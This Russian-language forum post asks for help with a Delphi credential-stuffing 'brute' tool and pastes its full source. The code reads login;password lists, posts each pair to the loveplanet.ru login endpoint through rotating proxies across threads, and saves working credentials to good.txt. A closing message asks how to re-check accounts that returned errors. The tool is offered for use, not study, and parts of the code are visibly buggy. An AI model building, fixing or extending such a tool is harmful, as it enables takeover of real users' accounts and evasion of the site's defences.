Не могли бы вы мне помочь с одним вопросом. Я пишу брут на Delphi xe3, пишу его по видео манулу от Strannik, но в восьмом уроке там не оч доходчиво объяснено как добавить многопоточность и прикрутить прокси к бруту. Вы бы не могли помочь разобраться?Могу дать свой исходник брута. Code: unit Unit1; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, SyncObjs; type TForm1 = class(TForm) Button1: TButton; OpenDialog1: TOpenDialog; Button2: TButton; Button3: TButton; Button4: TButton; Memo1: TMemo; IdHTTP1: TIdHTTP; ProgressBar1: TProgressBar; Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Label5: TLabel; Label6: TLabel; Label7: TLabel; Label8: TLabel; Label9: TLabel; Label10: TLabel; CheckBox1: TCheckBox; Label11: TLabel; Edit1: TEdit; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button4Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public { Public declarations } end; type Potok = class(TThread) private { Private declarations } protected procedure Sync; constructor Create(CreateSuspended: Boolean); procedure Execute; override; end; var Form1: TForm1; Accounts, proxylist: TStringList; work: boolean; Login, Password: string; rez, good, bad, error: integer; GoodFile, BadFile: textfile; CS:TcriticalSection; Thread, NP: integer; implementation {$R *.dfm} constructor Potok.Create(CreateSuspended: Boolean); begin inherited Create(CreateSuspended); FreeONTerminate:=true; end; procedure TForm1.Button1Click(Sender: TObject); begin if OpenDialog1.Execute then begin Accounts.LoadFromFile(OpenDialog1.FileName); Label6.Caption:=inttostr (Accounts.Count); end; end; procedure TForm1.Button2Click(Sender: TObject); begin if OpenDialog1.Execute then begin proxylist.LoadFromFile(OpenDialog1.FileName); Label7.Caption:=inttostr (proxylist.Count); end; end; procedure TForm1.Button3Click(Sender: TObject); begin Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt'); Rewrite(GoodFile); Closefile(GoodFile); Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt'); Rewrite(BadFile); Closefile(BadFile); ProgressBar1.Max:=Accounts.Count; ProgressBar1.Position:=0; NP:= -1; work:=true; for Thread:=1 to strtoint (Edit1.Text) do Potok.Create(false); Thread:=strtoint(Edit1.Text); end; procedure TForm1.Button4Click(Sender: TObject); begin work:=false; end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin Accounts.Free; CS.Free; end; procedure TForm1.FormCreate(Sender: TObject); begin CS:= TcriticalSection.Create; Accounts:= TStringList.Create; proxylist:= TStringList.Create; end; procedure Potok.Execute; var HTTP: TidHTTP; data: TStringList; HTML:string; i, Acc, pl:integer; begin while work do begin CS.Enter; Inc(Acc); if Acc=Accounts.Count-1 then work:=false; if Form1.CheckBox1.Checked then begin inc(NP); if (NP>=proxylist.Count) then NP:=0; pl:=NP; end; CS.Leave; if Form1.CheckBox1.Checked then begin HTTP.ProxyParams.ProxyServer:= copy(proxylist[pl],1,pos(':',proxylist[pl])-1); HTTP.ProxyParams.ProxyPort:= strtoint (copy(proxylist[pl],Pos(':',proxylist[pl])+1)); HTTP.ConnectTimeout:= 10000; HTTP.ReadTimeout:= 10000; end; for i:= 0 to Accounts.Count do begin data:= TStringList.Create; HTTP:= TidHTTP.Create(nil); Login:= copy(Accounts[Acc],1,pos(';',Accounts[Acc])-1); Password:= copy(Accounts[Acc],Pos(';',Accounts[Acc])+1, MaxInt); data.Add('login='+Login); data.Add('password='+Password); data.Add('extend=cGF0aD0='); data.Add('referer='); data.Add('a=logon'); try html:=HTTP.Post('http://loveplanet.ru/a-logon/popup-1',data); if Pos('location.href=', html)<>0 then begin Rez:=1; Inc(good); end else begin Rez:=-1; Inc(bad); end; except Rez:=0; Inc(error); end; synchronize(sync); Inc(Acc); Inc(pl); data.Free; HTTP.Free; end; end; end; procedure Potok.Sync; begin case rez of 1: begin Form1.Memo1.Lines.Add(Login+';'+Password); Form1.Label8.Caption:= inttostr(good); Form1.ProgressBar1.Position:= Form1.ProgressBar1.Position+1; Append(GoodFile); Writeln(GoodFile,Login+';'+Password); CloseFile(GoodFile); end; -1: begin Form1.Label9.Caption:= inttostr(bad); Form1.ProgressBar1.Position:= Form1.ProgressBar1.Position+1; Append(BadFile); Writeln(BadFile,Login+';'+Password); CloseFile(BadFile); end; 0: begin Form1.Label10.Caption:= inttostr(error); Form1.ProgressBar1.Position:= Form1.ProgressBar1.Position+1; end; end; end; end.
Эм разобрался с многопоточностью и проксами.Теперь меньше половины аккков падает в Error, Как их можно перебрутить расскажите пожалуйста!